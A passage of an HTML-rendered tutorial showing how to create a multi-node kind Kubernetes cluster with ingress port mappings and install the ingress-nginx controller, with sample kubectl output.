\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind.x-k8s.io/v1alpha4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003enodes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekubeadmConfigPatches\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e    kind: InitConfiguration\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e    nodeRegistration:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e      kubeletExtraArgs:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        node-labels: \"ingress-ready=true\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eextraPortMappings\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ehostPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eprotocol\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ehostPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eprotocol\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWith this we've now generated a 4 node cluster where we have a single\ncontrol-plane and three workers.  Then we defined some extra configuration on\nthe control-plane:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ekubeadmConfigPatches\u003c/strong\u003e: We want to change the default configuration the\ncluster uses so it'll tag the nodes with the \u003ccode\u003eingress-ready\u003c/code\u003e label so the\ncontroller will use them.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eextraPortMappings\u003c/strong\u003e: allow the local host to make requests to the Ingress controller over ports 80/443\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003enode-labels\u003c/strong\u003e: only allow the ingress controller to run on specific node(s) matching the label selector\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo now we can create the new cluster with the configuration. Save that config\nas \u003ccode\u003ekind_config.yml\u003c/code\u003e and then run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--image\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekindest/node:v1.25.11\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--config\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind_config.yml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis time I've added a few additional flags on the commandline. \u003ccode\u003e--image\u003c/code\u003e\nallows us to use a different version of kubernetes and \u003ccode\u003e--name\u003c/code\u003e allows us to\nmake more than one cluster. So if you didn't destroy the first cluster you'll\nsee we have two of them now:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eclusters\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ebut \u003ccode\u003ekind\u003c/code\u003e will swap the to the newest cluster by default:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurrent-context\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-kind-multinode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-control-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e107\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-worker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e88\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-worker2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e88\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e88\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we need to get the \u003ccode\u003eingress-nginx\u003c/code\u003e controller installed so we can start\nusing our cluster with ingress:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapply\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-f\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe manifests contains \u003ccode\u003ekind\u003c/code\u003e specific patches to forward the hostPorts to the ingress controller, set taint tolerations and schedule it to the custom labelled node.\u003c/p\u003e\n\u003cp\u003eThis will take a little bit of time to get up and running, you can monitor it\nby running:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewait\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--namespace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eingress-nginx\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--for=condition=ready\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--selector=app.kubernetes.io/component=controller\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--timeout=90s\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eor just manually check the status:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eingress-nginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                            \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRESTARTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epod/ingress-nginx-admission-create-bbmlc\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCompleted\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epod/ingress-nginx-admission-patch-qlnr8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCompleted\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epod/ingress-nginx-controller-5f748f78c8-6tc6b\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eContainerCreating\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTYPE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCLUSTER-IP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEXTERNAL-IP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePORT\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eservice/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNodePort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.96\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.228.248\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:31771/TCP,443:31759/TCP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eservice/ingress-nginx-controller-admission\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eClusterIP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.96\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.180.126\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e443\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/TCP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUP-TO-DATE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAVAILABLE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edeployment.apps/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDESIRED\u003c/span\u003e\u003cspan 